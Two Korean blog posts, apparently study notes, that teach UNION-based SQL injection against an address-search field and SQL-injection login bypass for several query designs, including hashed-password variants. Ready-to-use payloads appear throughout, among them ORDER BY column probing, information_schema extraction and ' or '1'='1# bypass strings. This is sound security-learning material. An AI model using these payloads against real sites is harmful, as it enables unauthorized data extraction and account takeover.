1. UNION Based SQLi

1) 정의

= UNION 명령어를 이용한 SQL Injection

  • 원래의 요청에 추가 쿼리를 삽입하여 정보를 얻어낸다.
  • 2개 이상의 쿼리를 요청하여 하나의 테이블로 결과를 얻는다.
  • 단, 2개의 테이블이 동일한 필드 개수와 데이터 타입을 가져야 하므로 사전공격을 통해 미리 알아놔야 한다.

2) 공격 방법

UNION Based SQLi는여러가지 정보들을 먼저 추출한는 공격을 수행한 뒤에 데이터를 수집해야한다.

순서에 따라서 다음과 같이 설명한다.

 

1) 컬럼 개수 파악

  • 이번 공격 뒤에 이루어질 데이터베이스 이름, 테이블 이름을 추출하기 위해 컬럼의 개수를 파악한다.
  • ORDER BY 구문을 이용해 컬럼의 개수를 파악한다.

- 테헤란로%' order by 1 #

- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다.

- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' order by 1 #%

- #뒤에 남는 %는 주석처리가 된다.

- order by절을 이용해 1부터 데이터가 출력되지 않을 때까지 하나하나 입력해본다

- ex) SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' order by 1,2 #%

- ex) SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' order by 1,2,3 #%

2) 데이터베이스 이름 확인

  • 화면에 출력되는 컬럼을 이용해 데이터베이스의 이름을 추출한다.

- 테헤란로%' union select 1,database(),3,4,5,6 #

- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다.

- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' union select 1,database(),3,4,5,6 #%

3) 테이블 이름 확인

  • DB에 기본적으로 저장되어있는 information_schema를 이용해서 테이블의 이름을 추출 할 수 있다.

- 테헤란로%' union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema='MEMBER' #

- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다.

- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema='MEMBER' #%’

- 컬럼에 table_name을 입력하여 information_schema.tables라는 테이블로부터 테이블 이름을 추출하도록 공격한다.

4) 컬럼 이름 확인

  • 테이블 이름 확인과 같은 방식으로 information_schema를 이용해 컬럼 이름을 추출 할 수 있다.

- 테헤란로%' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='login' #

- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다

- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='login' #%’

- 컬럼에 column_name을 입력하여 information_schema.columns라는 테이블로부터 컬럼 이름을 추출하도록 공격한다.

5) 데이터 추출

  • 필요한 정보들을 추출한 뒤 그 정보들로 데이터를 추출 할 수 있다.

- 테헤란로%' union select 1,id,3,4,5,6 from login #

- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다.

- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' union select 1,id,3,4,5,6 from login #%’

- 컬럼에 추출하고 싶은 데이터의 컬럼이름을 삽입하고 테이블 이름을 맞춰주면 데이터를 추출 할 수 있다.

'Web Hacking' 카테고리의 다른 글

CSRF  (0) 2022.12.27
XSS  (0) 2022.12.16
Blind SQLi  (0) 2022.12.05
Error Based SQLi  (0) 2022.12.05
SQL Injection(로그인 인증 우회)  (0) 2022.10.27

1. 식별, 인증 동시

- 식별 인증 동시란 SQL문에서 식별과 인증을 동시에 하는것을 말한다

- select * from login where id=$user_id and pw=$user_pw;

- 위 문구처럼 id와 pw를 동시에 처리하여 로그인 하는 방식이다

 

1) 공격 방법

- ID: john' or '1'='1#      pw: 아무거나

- 위 문구를 입력하게 되면 SQL문에서 다음과같이 처리된다

- select * from login where id=john' or '1'='1# and pw~~~

-  #뒤부터는 주석처리가 되어 문구가 실행되지 않는다

- 따라서 #앞에 'john' or '1'='1' 부분만 참이되면 되는데 1=1 부분이 참이므로 or연산에 따라 로그인 우회가 가능해진다

실제 화면

 

2. 식별, 인증 분리

- 식별 인증 분리란 SQL문에서 식별과 인증을 따로 처리하는 방식을 말한다

- 식별,인증 분리에서는 sql구문이 아닌 if($res[‘pw’]== $user_pw)문이 참이 되어야 로그인이 가능하다.

- select pw from login where id=$user_id;

if($res['pw']==$user_pw){

- 위 문구처럼 id를 입력받아 pw를 DB에서 가져오고 입력한pw와 DB의 pw가 일치하면 로그인이 되는 방식이다

 

1) 공격 방법

- ID: x' union select '1234    pw: 1234

- SELECT * FROM login WHERE id=’x’ union select ‘1234’

- 위 문구를 입력하면 SQL문에서 (~~WHERE id=‘x’)로 실제문구가 닫히게 된다.

- 그 뒤에 union select문이 실행되면서 DB에서 가져온 pw값과 password로 입력한 1234가 일치하는 계정이 있으면 if문이 참이 되어 그 계정으로 로그인을 우회 할 수 있게 된다.

실제화면

 

3. 식별, 인증 동시(해시)

- 식별 인증 동시(해시)란 위에서 봤던 식별 인증 동시와 다를게 없다

- 하지만 비밀번호가 해시 처리되어 비밀번호 유출시에도 그대로 유출 되지 않고 해시값이 유출된다는 점이 다르다

- select * from login where id=$user_id and pw=md5($user_pw);

 

1) 공격 방법

- 공격방법은 식별 인증 동시와 동일하게 하면 로그인 우회가 가능하다

실제 화면

 

4. 식별, 인증 분리(해시)

- 식별 인증 분리(해시)란 역시 식별 인증 분리 방식과 같은 구조이다

- 비밀번호만 해시처리 되어있다는 점이 다르다

 

1) 공격 방법

- 공격방법도 유사하지만 비밀번호가 해시처리되어있기 때문에 다음과 같이 입력해야 한다

- ID: x' union select md5('1234')'      pw:1234

- 위와 같이 입력해야 해시 처리된 비밀번호가 서로 대조가 가능해져 로그인 우회 할 수가 있다

실제 화면

 

5. 식별, 인증 개행

- select * from login where id=$user_id and

  pw=$user_pw

- 식별, 인증 개행이란 말 그대로 Enter를 눌러 개행하는 방식이다

- 이런 경우 주석처리가 통하지 않기 때문에 을 이용하여 구문을 맞춰줘야 한다

 

1) 공격 방법

- ID: john' or '1'='1     pw: 아무거나

- 공격 시 위와 같은 구문이 성공하는 이유는 and연산보다 or연산이 더 먼저 실행되기 때문에 and전에 or ‘1’=’1’부분이 참이 되므로 로그인 우회가 가능해진다

 

실제 화면

'Web Hacking' 카테고리의 다른 글

CSRF  (0) 2022.12.27
XSS  (0) 2022.12.16
Blind SQLi  (0) 2022.12.05
Error Based SQLi  (0) 2022.12.05
UNION Based SQLi  (0) 2022.11.21

+ Recent posts